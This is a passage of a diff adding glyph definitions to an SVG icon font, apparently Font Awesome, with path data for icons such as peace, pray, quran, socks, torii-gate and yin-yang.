10.5 +l24.25 24.25c18.8701 18.8604 43.9502 29.25 70.6406 29.25zM454.29 380.73c10.5596 7.95996 25.7002 0.489258 25.7002 -12.7305v-35.5195c0 -2.36035 -0.509766 -4.71094 -1.53027 -6.83008c-2.96973 -6.30078 -21.8301 -37.6602 -101.75 -37.6602 +c-78.4297 0 -117.19 69.3896 -118.8 72.3398c-3.61035 6.62988 -2.08008 14.8799 3.66016 19.7998c5.69922 4.92969 14.1201 5.16992 20.1396 0.549805c3.53027 -2.69922 87.0303 -65.0693 172.58 0.0507812z" /> + <glyph glyph-name="pastafarianism" unicode="" horiz-adv-x="640" +d="M624.54 100.33c12.4004 -4.71973 18.5996 -18.5801 13.8896 -30.9805c-4.69922 -12.4092 -18.5801 -18.6299 -30.9697 -13.8799c-8.11035 3.08984 -14.3398 0.19043 -31.3896 -11.3594c-13.5508 -9.15039 -30.8301 -20.8408 -52.4199 -20.8408 +c-7.16992 0 -14.8301 1.28027 -22.9707 4.39062c-32.6602 12.4395 -39.9893 41.3301 -45.3301 62.4395c-2.20996 8.7207 -3.98926 14.4902 -5.94922 18.8701c-16.6201 -13.5996 -36.9307 -25.8701 -61.6201 -34.1602c10.0098 -37 32.2793 -90.8096 60.2197 -90.8096 +c13.25 0 24 -10.75 24 -24s-10.75 -24 -24 -24c-66.7402 0 -97.0498 88.6299 -107.42 129.14c-6.69043 -0.599609 -13.4199 -1.13965 -20.5801 -1.13965s-13.8896 0.540039 -20.5801 1.13965c-10.3701 -40.5098 -40.6797 -129.14 -107.42 -129.14c-13.25 0 -24 10.75 -24 24 +s10.75 24 24 24c28.0801 0 50.2998 53.7998 60.2598 90.7998c-24.6895 8.29004 -45.0195 20.5605 -61.6396 34.1699c-1.95996 -4.37988 -3.74023 -10.1494 -5.9502 -18.8701c-5.34961 -21.1094 -12.6699 -50 -45.3301 -62.4395 +c-8.13965 -3.11035 -15.7998 -4.39062 -22.9697 -4.39062c-21.5898 -0.0195312 -38.8701 11.6807 -52.4199 20.8408c-17.0498 11.5498 -23.2305 14.4492 -31.3906 11.3594c-12.3594 -4.72949 -26.25 1.4707 -30.9697 13.8799 +c-4.71973 12.3906 1.48047 26.25 13.8701 30.9707c32.6504 12.4697 57.3398 -4.25 75.3701 -16.4502c17.0801 -11.5303 23.2998 -14.4199 31.4102 -11.3604c8.12012 3.10059 10.8301 9.37988 15.8896 29.3799c3.33008 13.1504 7.44043 29.3203 17.9502 42.6504 +c-2.24023 2.91016 -4.42969 5.78027 -6.37988 8.57031c-10.1699 -9.56055 -23.4102 -17.1104 -41.7002 -17.1104c-33.9502 0 -50.8701 25.7803 -62.0596 42.8301c-10.6006 16.1396 -15 21.1699 -21.9404 21.1699c-13.25 0 -24 10.75 -24 24s10.75 24 24 24 +c33.96 0 50.8799 -25.7803 62.0596 -42.8301c10.6006 -16.1396 15 -21.1699 21.9404 -21.1699c17.1504 0 37.6797 61.5596 97.2695 101.9l-17.25 34.5c-33.46 2.09961 -60.0195 29.6191 -60.0195 63.5996c0 35.3496 28.6504 64 64 64s64 -28.6504 64 -64 +c0 -13.0195 -3.94043 -25.0996 -10.5996 -35.21l18.1494 -36.2998c16.9697 4.59961 35.6006 7.50977 56.46 7.50977c20.8604 0 39.4805 -2.91016 56.46 -7.50977l18.1504 36.2998c-6.67969 10.1104 -10.6201 22.1904 -10.6201 35.21c0 35.3496 28.6504 64 64 64 +s64 -28.6504 64 -64c0 -33.9805 -26.5703 -61.5 -60.0098 -63.5898l-17.25 -34.5c59.7793 -40.4805 79.9502 -101.91 97.2598 -101.91c6.94043 0 11.3398 5.03027 21.9404 21.1699c11.1895 17.0498 28.1094 42.8301 62.0596 42.8301c13.25 0 24 -10.75 24 -24 +s-10.75 -24 -24 -24c-6.94043 0 -11.3496 -5.03027 -21.9404 -21.1699c-11.1895 -17.0498 -28.1094 -42.8301 -62.0596 -42.8301c-18.29 0 -31.5303 7.5498 -41.7002 17.1201c-1.9502 -2.78027 -4.13965 -5.66016 -6.37988 -8.57031 +c10.5098 -13.3301 14.6201 -29.5 17.9502 -42.6494c5.05957 -20 7.76953 -26.29 15.8896 -29.3809c8.16016 -3.05957 14.3506 -0.169922 31.4102 11.3604c18.0098 12.2002 42.6699 28.9697 75.3701 16.4502zM448 400c-8.82031 0 -16 -7.17969 -16 -16s7.17969 -16 16 -16 +s16 7.17969 16 16s-7.17969 16 -16 16zM192 400c-8.82031 0 -16 -7.17969 -16 -16s7.17969 -16 16 -16s16 7.17969 16 16s-7.17969 16 -16 16z" /> + <glyph glyph-name="peace" unicode="" horiz-adv-x="496" +d="M248 440c136.97 0 248 -111.03 248 -248s-111.03 -248 -248 -248s-248 111.03 -248 248s111.03 248 248 248zM432 192c0 90.5303 -65.7695 165.82 -152 181.03v-165.66l129.43 -103.54c14.3701 26.2002 22.5703 56.2402 22.5703 88.1699zM216 10.9697v114.46 +l-89.29 -71.4395c24.7998 -21.8203 55.4297 -37.0498 89.29 -43.0205zM280 125.43v-114.449c33.8604 5.96973 64.4902 21.1992 89.29 43.0195zM216 373.03c-86.2305 -15.21 -152 -90.5 -152 -181.03c0 -31.9297 8.2002 -61.9697 22.5703 -88.1699l129.43 103.54v165.66z" /> + <glyph glyph-name="place-of-worship" unicode="" horiz-adv-x="640" +d="M620.61 81.4502c11.4111 -4.89258 19.3896 -16.2168 19.3896 -29.4102v-100.04c0 -8.83984 -7.16016 -16 -16 -16h-112v192zM0 52.04c0 13.1934 7.97852 24.5176 19.3896 29.4102l108.61 46.5498v-192h-112c-8.83984 0 -16 7.16016 -16 16v100.04zM464.46 201.32 +c9.63965 -5.78027 15.54 -16.2002 15.54 -27.4404v-237.88h-96v96c0 35.3496 -28.6602 64 -64 64s-64 -28.6504 -64 -64v-96h-96v237.88c0 11.6572 6.21387 21.8467 15.54 27.4404l48.46 29.0801v114.97c0 8.49023 3.37988 16.6299 9.37988 22.6299l75.3105 75.3096 +c6.23926 6.25 16.3691 6.25 22.6191 0l75.3105 -75.3096c6.00977 -6.00977 9.37988 -14.1396 9.37988 -22.6299v-114.97z" /> + <glyph glyph-name="poll" unicode="" horiz-adv-x="448" +d="M400 416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h352zM160 80v128c0 8.83984 -7.16016 16 -16 16h-32c-8.83984 0 -16 -7.16016 -16 -16v-128c0 -8.83984 7.16016 -16 16 -16h32 +c8.83984 0 16 7.16016 16 16zM256 80v224c0 8.83984 -7.16016 16 -16 16h-32c-8.83984 0 -16 -7.16016 -16 -16v-224c0 -8.83984 7.16016 -16 16 -16h32c8.83984 0 16 7.16016 16 16zM352 80v64c0 8.83984 -7.16016 16 -16 16h-32c-8.83984 0 -16 -7.16016 -16 -16v-64 +c0 -8.83984 7.16016 -16 16 -16h32c8.83984 0 16 7.16016 16 16z" /> + <glyph glyph-name="poll-h" unicode="" horiz-adv-x="448" +d="M448 16c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h352c26.5 0 48 -21.5 48 -48v-352zM112 256h128c8.83984 0 16 7.16016 16 16v32c0 8.83984 -7.16016 16 -16 16h-128c-8.83984 0 -16 -7.16016 -16 -16v-32 +c0 -8.83984 7.16016 -16 16 -16zM112 160h224c8.83984 0 16 7.16016 16 16v32c0 8.83984 -7.16016 16 -16 16h-224c-8.83984 0 -16 -7.16016 -16 -16v-32c0 -8.83984 7.16016 -16 16 -16zM112 64h64c8.83984 0 16 7.16016 16 16v32c0 8.83984 -7.16016 16 -16 16h-64 +c-8.83984 0 -16 -7.16016 -16 -16v-32c0 -8.83984 7.16016 -16 16 -16z" /> + <glyph glyph-name="pray" unicode="" horiz-adv-x="384" +d="M256 320c-35.3496 0 -64 28.6504 -64 64s28.6504 64 64 64s64 -28.6504 64 -64s-28.6504 -64 -64 -64zM225.37 150.25l-24.1504 28.7598l-34.7998 -64.8701l109.86 -109.859c25.4893 -25.4902 5.7998 -68.2803 -28.2803 -68.2803h-208c-22.0898 0 -40 17.9102 -40 40 +s17.9102 40 40 40h91.5596l-44.8096 34.8896c-42.8799 27.3799 -57.5898 80.1104 -34.1904 123.75l49.3701 92.0303c11.1201 20.6504 32.1807 34.4404 56.3701 36.9199c24.7803 2.58984 48.5605 -6.93945 64 -25.3301l38.9102 -46.3096l57.4404 47 +c17.1191 13.9697 42.3398 11.4902 56.3096 -5.62012c13.9697 -17.0898 11.4697 -42.2998 -5.62012 -56.2803l-88 -72.0195c-16.9697 -13.8701 -41.9102 -11.5 -55.9697 5.21973z" /> + <glyph glyph-name="praying-hands" unicode="" horiz-adv-x="640" +d="M272 256.09c17.5996 0 32 -14.3994 32 -32v-128c0 -51.8896 -34.8398 -98.0801 -84.75 -112.35l-179.19 -46.6201c-2.64941 -0.69043 -5.36914 -1.03027 -8.05957 -1.03027c-23.4805 0 -32 21.1797 -32 32v96 +c0 0.00390625 -0.00488281 -0.000976562 -0.00488281 0.00292969c0 14.1221 9.1748 26.1182 21.8848 30.3477l90.1201 30.04v80.2295c0 18.9805 5.55957 37.3896 16.1201 53.2305l117.26 175.899c0.169922 0.270508 0.589844 0.25 0.790039 0.480469 +c9.58008 13.5098 27.8496 17.8799 42.2998 9.20996c15.1602 -9.10059 20.0605 -28.75 10.9707 -43.9102l-77.75 -129.59c-8.9707 -14.9199 -13.6904 -32 -13.6904 -49.3906v-76.5498c0 -8.83984 7.16016 -16 16 -16s16 7.16016 16 16v80c0 17.6006 14.4004 32 32 32z +M618.12 94.3604c13.0703 -4.36035 21.8799 -16.5801 21.8799 -30.3506v-96c0 -10.8193 -8.51953 -32 -32 -32c-2.67969 0 -5.40039 0.339844 -8.05957 1.03027l-179.19 46.6201c-49.9102 14.2598 -84.75 60.4502 -84.75 112.34v128c0 17.5996 14.4004 32 32 32 +s32 -14.4004 32 -32v-80c0 -8.83984 7.16016 -16 16 -16s16 7.16016 16 16v76.5498c0 17.3906 -4.71973 34.4697 -13.6904 49.3906l-77.75 129.59c-9.08984 15.1602 -4.18945 34.8193 10.9707 43.9102c14.4502 8.66992 32.7197 4.2998 42.2998 -9.20996 +c0.200195 -0.240234 0.610352 -0.210938 0.790039 -0.480469l117.26 -175.89c10.5605 -15.8408 16.1201 -34.25 16.1201 -53.2305v-80.2295z" /> + <glyph glyph-name="quran" unicode="" horiz-adv-x="448" +d="M448 89.5996c0 -9.59961 -3.2002 -16 -9.59961 -19.1992c-3.2002 -12.8008 -3.2002 -57.6006 0 -73.6006c6.39941 -6.39941 9.59961 -12.7998 9.59961 -19.2002v-16c0 -16 -12.7998 -25.5996 -25.5996 -25.5996h-326.4c-54.4004 0 -96 41.5996 -96 96v320 +c0 54.4004 41.5996 96 96 96h326.4c16 0 25.5996 -9.59961 25.5996 -25.5996v-332.801zM301.08 302.18l-11.1904 -22.6494l-24.9893 -3.62988c-2.68066 -0.390625 -3.75 -3.66992 -1.81055 -5.56055l18.0898 -17.6299l-4.26953 -24.8896 +c-0.360352 -2.11035 1.30957 -3.82031 3.20996 -3.82031c0.5 0 1.01953 0.120117 1.51953 0.379883l22.3604 11.75l22.3604 -11.75c0.5 -0.259766 1.01953 -0.379883 1.51953 -0.379883c1.90039 0 3.57031 1.70996 3.20996 3.82031l-4.26953 24.8896l18.0898 17.6299 +c1.92969 1.89062 0.859375 5.16992 -1.81055 5.56055l-25 3.62988l-11.1797 22.6494c-0.599609 1.20996 -1.75977 1.82031 -2.91992 1.82031s-2.32031 -0.610352 -2.91992 -1.82031zM243.19 371.19c-63.5205 0 -115.19 -51.6709 -115.19 -115.19 +c0 -63.5098 51.6699 -115.19 115.18 -115.18c13.6006 0 27.1201 2.46973 40.1904 7.33984c2.67969 0.910156 4.62012 3.43945 4.62012 6.41992c0 3.63965 -2.87012 6.78027 -6.7998 6.78027c-0.650391 0 -3.10059 -0.209961 -4.13086 -0.209961 +c-52.3096 0 -94.8594 42.5596 -94.8594 94.8594c0 52.3105 42.5498 94.8604 94.8594 94.8604c1.04004 0 3.45996 -0.209961 4.13086 -0.209961c0.738281 -0.276367 1.54004 -0.429688 2.375 -0.429688c3.73926 0 6.77441 3.03516 6.77441 6.77441 +c0 3.7373 -3.0332 6.77246 -6.76953 6.77539c-13.1201 4.91992 -26.71 7.41016 -40.3799 7.41016zM380.8 0v64h-284.8c-16 0 -32 -12.7998 -32 -32s12.7998 -32 32 -32h284.8z" /> + <glyph glyph-name="search-dollar" unicode="" +d="M505.04 5.33984c9.2998 -9.39941 9.2998 -24.5898 -0.0996094 -33.9902l-28.3008 -28.2998c-9.2998 -9.39941 -24.5 -9.39941 -33.8994 0l-99.71 99.6904c-4.5 4.5 -7 10.5996 -7 17v16.2998c-35.2998 -27.5996 -79.71 -44 -128.011 -44 +c-114.909 0 -208.02 93.0898 -208.02 207.979c0 114.891 93.1201 207.98 208.02 207.98c114.9 0 208.011 -93.0898 208.011 -207.98c0 -48.2998 -16.4004 -92.6895 -44 -127.989h16.2998c6.40039 0 12.5 -2.5 17 -7zM208.02 96.04c79.6504 0 144 64.4502 144 143.979 +c0 79.6406 -64.46 143.98 -144 143.98c-79.6494 0 -144 -64.4502 -144 -143.98c0 -79.6396 64.4609 -143.979 144 -143.979zM235.13 248.58c18.6006 -5.58008 31.5898 -23.4199 31.5898 -43.3896c0 -24.5303 -19.0498 -44.4404 -42.6797 -45.0703v-16.1201 +c0 -4.41992 -3.58008 -8 -8 -8h-16c-4.41992 0 -8 3.58008 -8 8v16.29c-11.29 0.580078 -22.2705 4.51953 -31.3701 11.3496c-3.90039 2.93066 -4.09961 8.77051 -0.570312 12.1406l11.75 11.21c2.77051 2.63965 6.89062 2.75977 10.1309 0.729492 +c3.85938 -2.42969 8.25977 -3.71973 12.8193 -3.71973h28.1006c6.5 0 11.7998 5.91992 11.7998 13.1904c0 5.94922 -3.61035 11.1797 -8.77051 12.7295l-45.0098 13.5c-18.5898 5.58008 -31.5801 23.4199 -31.5801 43.3896c0 24.5205 19.0498 44.4404 42.6797 45.0703 +v16.1201c0 4.41992 3.58008 8 8 8h16c4.4209 0 8 -3.58008 8 -8v-16.29c11.29 -0.580078 22.2705 -4.51953 31.3701 -11.3496c3.90039 -2.93066 4.10059 -8.77051 0.570312 -12.1406l-11.75 -11.21c-2.76953 -2.63965 -6.88965 -2.75977 -10.1299 -0.729492 +c-3.86035 2.42969 -8.25977 3.71973 -12.8203 3.71973h-28.1094c-6.5 0 -11.8008 -5.91992 -11.8008 -13.1904c0 -5.94922 3.61035 -11.1797 8.77051 -12.7295z" /> + <glyph glyph-name="search-location" unicode="" +d="M505.04 5.33984c9.2998 -9.39941 9.2998 -24.5898 -0.0996094 -33.9902l-28.3008 -28.2998c-9.2998 -9.39941 -24.5 -9.39941 -33.8994 0l-99.71 99.6904c-4.5 4.5 -7 10.5996 -7 17v16.2998c-35.2998 -27.5996 -79.71 -44 -128.011 -44 +c-114.909 0 -208.02 93.0898 -208.02 207.979c0 114.891 93.1201 207.98 208.02 207.98c114.9 0 208.011 -93.0898 208.011 -207.98c0 -48.2998 -16.4004 -92.6895 -44 -127.989h16.2998c6.40039 0 12.5 -2.5 17 -7zM208.02 96.04c79.6504 0 144 64.4502 144 143.979 +c0 79.6406 -64.46 143.98 -144 143.98c-79.6494 0 -144 -64.4502 -144 -143.98c0 -79.6396 64.4609 -143.979 144 -143.979zM208.04 336c40.7803 0 73.8398 -33.0498 73.8398 -73.8301c0 -32.9697 -48.2598 -93.0498 -66.75 -114.86 +c-1.69531 -2.02832 -4.23926 -3.32031 -7.08691 -3.32031c-2.84863 0 -5.39746 1.29199 -7.09277 3.32031c-18.4902 21.8105 -66.75 81.9004 -66.75 114.86c0 40.7803 33.0596 73.8301 73.8398 73.8301zM208.04 240c13.25 0 24 10.75 24 24c0 13.2598 -10.75 24 -24 24 +s-24 -10.7402 -24 -24c0 -13.25 10.7402 -24 24 -24z" /> + <glyph glyph-name="socks" unicode="" +d="M214.66 136.99c-52.7402 -39.5605 -69.0498 -110.021 -39.2002 -165.4l-21.8604 -16.3896c-17.2695 -12.9502 -37.4893 -19.2002 -57.5195 -19.2002c-32.8105 0 -65.6904 16.75 -83.9404 48.3301c-24.6494 42.6396 -10.1895 97.5 29.21 127.06l86.6504 64.6104v176h160 +v-160zM288 416v-32h-160v32c0 17.6699 14.3301 32 32 32h128c2.84961 0 5.40039 -0.919922 8.01953 -1.62012c-4.94922 -9.08008 -8.01953 -19.3301 -8.01953 -30.3799zM480 448c17.6699 0 32 -14.3301 32 -32v-32h-192v32c0 17.6699 14.3301 32 32 32h128zM320 176v176h192 +v-208c0 -41.8877 -20.0566 -79.043 -51.2002 -102.4l-115.2 -86.3994c-17.2695 -12.9502 -37.4893 -19.2002 -57.5195 -19.2002c-32.8105 0 -65.1699 16.75 -83.4199 48.3301c-24.6504 42.6396 -10.1904 97.5 29.21 127.06z" /> + <glyph glyph-name="square-root-alt" unicode="" horiz-adv-x="576" +d="M571.31 196.69c6.25 -6.25 6.25 -16.3809 0 -22.6309l-46.0596 -46.0596l46.0596 -46.0596c6.25 -6.25 6.25 -16.3809 0 -22.6309l-22.6191 -22.6191c-6.25 -6.25 -16.3809 -6.25 -22.6309 0l-46.0596 46.0596l-46.0596 -46.0596c-6.25 -6.25 -16.3809 -6.25 -22.6309 0 +l-22.6191 22.6191c-6.25 6.25 -6.25 16.3809 0 22.6309l46.0596 46.0596l-46.0596 46.0596c-6.25 6.25 -6.25 16.3809 0 22.6309l22.6191 22.6191c6.25 6.25 16.3809 6.25 22.6309 0l46.0596 -46.0596l46.0596 46.0596c6.25 6.25 16.3809 6.25 22.6309 0zM552 448 +c13.25 0 24 -10.7402 24 -24v-48c0 -13.25 -10.75 -24 -24 -24h-194.97l-97.8105 -374.52c-9.83984 -32.4805 -37.0098 -41.4805 -54.2793 -41.4805c-18.6406 0 -35.9502 8.5 -48.4404 28.2695l-88.8799 163.73h-43.6201c-13.25 0 -24 10.75 -24 24v48 +c0 13.2598 10.75 24 24 24h81.4697c12.0801 -0.00292969 22.584 -6.67871 28.0303 -16.5703l58.4102 -106.1l84.79 322.8c3.68945 14.0703 16.4102 23.8701 30.9502 23.8701h244.35z" /> + <glyph glyph-name="star-and-crescent" unicode="" +d="M340.47 -18.3604c8.74023 0 15.1299 -6.96973 15.1299 -15.0596c0 -6.62012 -4.31934 -12.2402 -10.2793 -14.2598c-29.04 -10.8301 -59.0898 -16.3203 -89.3203 -16.3203c-141.16 0 -256 114.84 -256 256s114.84 256 256 256c30.3896 0 60.5801 -5.54004 89.75 -16.4805 +c6.91992 -2.59961 10.9297 -9.83984 9.46973 -17.0898c-1.41992 -7.04004 -7.62012 -12.0693 -14.75 -12.0693c-1.47949 0 -6.85938 0.459961 -9.17969 0.459961c-116.25 0 -210.82 -94.5703 -210.82 -210.82s94.5703 -210.82 210.82 -210.82 +c2.29004 0 7.72949 0.459961 9.17969 0.459961zM503.46 234.14c8.16992 -1.17969 11.4297 -11.2197 5.52051 -16.9893l-55.2705 -53.8701l13.0498 -76.0703c1.11035 -6.42969 -4.00977 -11.6602 -9.80957 -11.6602c-1.53027 0 -3.11035 0.370117 -4.64062 1.16992 +l-68.3096 35.9102l-68.3301 -35.9102c-1.53027 -0.80957 -3.11035 -1.16992 -4.63965 -1.16992c-5.7998 0 -10.9199 5.21973 -9.81055 11.6602l13.0498 76.0703l-55.2695 53.8701c-5.91016 5.76953 -2.65039 15.8096 5.51953 16.9893l76.3809 11.1006l34.1592 69.21 +c1.83008 3.7002 5.38086 5.5498 8.93066 5.5498s7.09961 -1.84961 8.92969 -5.5498l34.1602 -69.21z" /> + <glyph glyph-name="star-of-david" unicode="" horiz-adv-x="464" +d="M405.68 192l53.2207 -89.3896c14.4092 -24.21 -3.41016 -54.6104 -32.0107 -54.6104h-106.93l-55.9502 -93.9805c-7.14941 -12.0098 -19.5801 -18.0195 -32.0098 -18.0195s-24.8604 6.00977 -32.0098 18.0195l-55.9502 93.9805h-106.93 +c-28.6006 0 -46.4199 30.4004 -32.0107 54.6104l53.2207 89.3896l-53.2207 89.3896c-14.4092 24.21 3.41016 54.6104 32.0107 54.6104h106.93l55.9502 93.9805c7.14941 12.0098 19.5801 18.0195 32.0098 18.0195s24.8604 -6.00977 32.0098 -18.0195l55.9502 -93.9805h106.92 +c28.6006 0 46.4199 -30.4004 32.0098 -54.6104zM392.9 280h-39.6006l19.7998 -33.2598zM340.51 192l-52.3896 88h-112.25l-52.3799 -88l52.3896 -88h112.24zM232 374.28l-22.7803 -38.2803h45.5703zM71.0996 280l19.8008 -33.2598l19.7998 33.2598h-39.6006zM71.0996 104 +h39.6006l-19.7998 33.2598zM232 9.71973l22.7803 38.2803h-45.5703zM353.29 104h39.6104l-19.8105 33.2598z" /> + <glyph glyph-name="synagogue" unicode="" horiz-adv-x="640" +d="M70 251.49c5.30957 6.00977 14.6904 6.00977 20 0l38 -43.0703v-272.42h-128v226.07l0.00488281 0.0185547c0 6.75391 2.51758 12.9229 6.66504 17.6211zM633.33 179.71c4.2998 -4.87012 6.66992 -11.1396 6.66992 -17.6396v-226.07h-128v272.42l38 43.0703 +c5.30957 6.01953 14.6904 6.01953 20 0zM339.99 440.99l128 -102.4c7.58984 -6.07031 12.0098 -15.2695 12.0098 -24.9902v-377.6h-96v96c0 38.8701 -34.6602 69.6504 -74.75 63.1201c-31.4697 -5.12012 -53.25 -34.6699 -53.25 -66.5498v-92.5703h-96v377.6 +c0 10.1123 4.67773 19.123 12.0098 24.9902l128 102.4c11.6904 9.34961 28.29 9.34961 39.9805 0zM392.06 225.44l-19.1895 30.5596l19.2002 30.5703c1.97949 3.14941 -0.290039 7.23926 -4 7.23926h-38.9502l-25.1201 39.9805c-1.84961 2.9502 -6.15039 2.9502 -8 0 +l-25.1201 -40h-38.9395c-3.70996 0 -5.98047 -4.08984 -4 -7.24023l19.1992 -30.5596l-19.1992 -30.5605c-1.98047 -3.14941 0.279297 -7.23926 4 -7.23926h38.9395l25.1201 -39.9805c1.84961 -2.9502 6.15039 -2.9502 8 0l25.1201 39.9902h38.9395 +c3.70996 0 5.98047 4.08984 4 7.24023z" /> + <glyph glyph-name="torah" unicode="" horiz-adv-x="640" +d="M320.05 81.5195l-17.7402 29.6406h35.46zM419.26 247.52l-18.3994 -30.8193l-18.46 30.8193h36.8594zM48 448c26.5098 0 48 -14.3301 48 -32v-448c0 -17.6699 -21.4902 -32 -48 -32s-48 14.3301 -48 32v448c0 17.6699 21.4902 32 48 32zM220.74 136.5l18.3896 30.8203 +l18.46 -30.8203h-36.8496zM382.45 136.5l18.4102 30.7998l18.4492 -30.7998h-36.8594zM128 -16v416h384v-416h-384zM194.77 262.13c-1.7627 -3.04492 -2.77148 -6.62402 -2.77148 -10.3936c0 -3.92969 1.09668 -7.60547 3.00195 -10.7363l29.3604 -49l-29.21 -48.8398 +c-1.91211 -3.17578 -3.02637 -6.91699 -3.02637 -10.8906c0 -11.6504 9.45898 -21.1094 21.1104 -21.1094h0.015625h59.5l29.25 -48.8799c3.61816 -6.12793 10.2754 -10.2207 17.9004 -10.2207h0.0996094c7.7373 0.0166016 14.4912 4.17676 18.1602 10.4004l29.1299 48.7002 +h59.4697c0.0078125 0 0.00195312 -0.0224609 0.00878906 -0.0224609c7.90723 0 14.8115 4.32812 18.4717 10.7422c1.75879 3.04199 2.76562 6.61621 2.76562 10.3799c0 3.93164 -1.09863 7.6084 -3.00586 10.7402l-29.3701 49l29.2402 48.8496 +c1.90723 3.17383 3.01758 6.91113 3.01758 10.8809c0 11.6553 -9.46191 21.1182 -21.1182 21.1191h-59.5195l-29.25 48.8604c-3.6123 6.12207 -10.2617 10.21 -17.8779 10.21h-0.0722656c-0.0117188 0 -0.00976562 0.0224609 -0.0214844 0.0224609 +c-7.74316 0 -14.5186 -4.17383 -18.1982 -10.3926l-29.1299 -48.71h-59.4502c-0.015625 0 -0.0166016 0.0224609 -0.0322266 0.0224609c-7.89844 0 -14.7939 -4.32422 -18.4482 -10.7324zM592 448c26.5098 0 48 -14.3301 48 -32v-448c0 -17.6699 -21.4902 -32 -48 -32 +s-48 14.3301 -48 32v448c0 17.6699 21.4902 32 48 32zM320 302.47l17.6797 -29.6201h-35.46zM257.55 247.47l-18.3701 -30.7998l-18.4395 30.7998h36.8096zM287.13 136.47l-33.2295 55.5303l33.1699 55.5195h65.79l33.2295 -55.5195l-33.1699 -55.5303h-65.79z" /> + <glyph glyph-name="torii-gate" unicode="" +d="M376.45 416c48.5918 0.00292969 94.8242 11.6396 135.55 32v-96c0 -17.6699 -14.3301 -32 -32 -32h-32v-64h48c8.83984 0 16 -7.16016 16 -16v-32c0 -8.83984 -7.16016 -16 -16 -16h-48v-240c0 -8.83984 -7.16016 -16 -16 -16h-32c-8.83984 0 -16 7.16016 -16 16v240 +h-256v-240c0 -8.83984 -7.16016 -16 -16 -16h-32c-8.83984 0 -16 7.16016 -16 16v240h-48c-8.83984 0 -16 7.16016 -16 16v32c0 8.83984 7.16016 16 16 16h48v64h-32c-17.6699 0 -32 14.3301 -32 32v96c40.7256 -20.3604 86.958 -31.9971 135.55 -32h240.9zM128 320v-64h96 +v64h-96zM384 256v64h-96v-64h96z" /> + <glyph glyph-name="vihara" unicode="" horiz-adv-x="640" +d="M632.88 47.29c5.41992 -3.61035 7.7002 -9.62012 6.99023 -15.29c-0.620117 -5.00977 -3.56055 -9.75 -8.71973 -12.3301l-55.1504 -19.6699v-48c0 -8.83984 -7.16016 -16 -16 -16h-32c-8.83984 0 -16 7.16016 -16 16v48h-160v-48c0 -8.83984 -7.16016 -16 -16 -16h-32 +c-8.83984 0 -16 7.16016 -16 16v48h-160v-48c0 -8.83984 -7.16016 -16 -16 -16h-32c-8.83984 0 -16 7.16016 -16 16v48l-55.1602 19.6699c-5.14941 2.58008 -8.09961 7.32031 -8.71973 12.3301c-0.700195 5.66016 1.58008 11.6699 7 15.29l88.8799 48.71v64 +l-55.1602 17.6904c-11.79 5.89941 -11.79 22.7197 0 28.6191l119.16 49.6904v64l-27.3096 16.3096c-7.7207 7.7207 -5.61035 20.7402 4.15918 25.6201l183.15 86.0703l183.15 -86.0801c9.76953 -4.87988 11.8799 -17.9004 4.15918 -25.6201l-27.3096 -16.2998v-64 +l119.16 -49.6904c11.79 -5.89941 11.79 -22.7197 0 -28.6191l-55.1602 -17.6904v-64zM224 320v-64h192v64h-192zM160 96h320v64h-320v-64z" /> + <glyph glyph-name="volume-mute" unicode="" +d="M215.03 376.95c15.0098 15.0098 40.9697 4.49023 40.9697 -16.9697v-335.961c0 -21.4395 -25.9404 -32 -40.9697 -16.9697l-88.9707 88.9502h-102.06c-13.2598 0 -24 10.75 -24 24v144c0 13.2598 10.7402 24 24 24h102.06zM461.64 192l45.6406 -45.6396 +c6.2998 -6.30078 6.2998 -16.5205 0 -22.8203l-22.8203 -22.8203c-6.2998 -6.2998 -16.5195 -6.2998 -22.8203 0l-45.6396 45.6406l-45.6299 -45.6299c-6.2998 -6.30078 -16.5205 -6.30078 -22.8203 0l-22.8193 22.8193c-6.30078 6.2998 -6.30078 16.5205 0 22.8203 +l45.6299 45.6299l-45.6406 45.6396c-6.2998 6.30078 -6.2998 16.5205 0 22.8203l22.8203 22.8203c6.2998 6.2998 16.5195 6.2998 22.8203 0l45.6396 -45.6406l45.6396 45.6406c6.30078 6.2998 16.5205 6.2998 22.8203 0l22.8203 -22.8203 +c6.2998 -6.2998 6.2998 -16.5195 0 -22.8203z" /> + <glyph glyph-name="yin-yang" unicode="" horiz-adv-x="496" +d="M248 440c136.97 0 248 -111.03 248 -248s-111.03 -248 -248 -248s-248 111.03 -248 248s111.03 248 248 248zM248 64c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32zM248 192c53.0195 0 96 42.9805 96 96s-42.9805 96 -96 96 +c-106.04 0 -192 -85.96 -192 -192s85.96 -192 192 -192c-53.0195 0 -96 42.9805 -96 96s42.9805 96 96 96zM248 320c17.6699 0 32 -14.3301 32 -32s-14.3301 -32 -32 -32s-32 14.3301 -32 32s14.3301 32 32 32z" /> + <glyph glyph-name="blender-phone" unicode="" horiz-adv-x="576" +d="M392 384c-4.41992 0 -8 -3.58008 -8 -8v-16c0 -4.41992 3.58008 -8 8 -8h157.82l-17.46 -64h-140.36c-4.41992 0 -8 -3.58008 -8 -8v-16c0 -4.41992 3.58008 -8 8 -8h131.64l-17.46 -64h-114.18c-4.41992 0 -8 -3.58008 -8 -8v-16c0 -4.41992 3.58008 -8 8 -8h105.46 +l-17.46 -64h-288v352h384l-17.46 -64h-166.54zM158.8 112.99c3.00977 -7.40039 0.200195 -15.8506 -6.68945 -20.0703l-39.4102 -24.1797c-12.5303 -7.68066 -31.7803 -6 -41.6504 4.7998c-94.0996 102.94 -94.6699 258.89 -2.09961 362.49 +c11.1396 12.4697 29.5596 15.8398 43.8896 7.0498l39.2803 -24.0996c6.87988 -4.2207 9.7002 -12.6807 6.67969 -20.0703l-25.7803 -63.2598c-2.7793 -6.80078 -9.80957 -10.9902 -17.2393 -10.2607l-45.0303 4.41992c-17.6504 -47.9395 -17.2803 -100.779 0 -147.72 +l45.0303 4.41992c7.43945 0.730469 14.46 -3.4502 17.2393 -10.2598zM480 64c35.3496 0 64 -28.6504 64 -64v-32c0 -17.6699 -14.3301 -32 -32 -32h-352c-17.6699 0 -32 14.3301 -32 32v32c0 35.3496 28.6504 64 64 64h288zM336 -32c17.6699 0 32 14.3301 32 32 +s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32z" /> + <glyph glyph-name="book-dead" 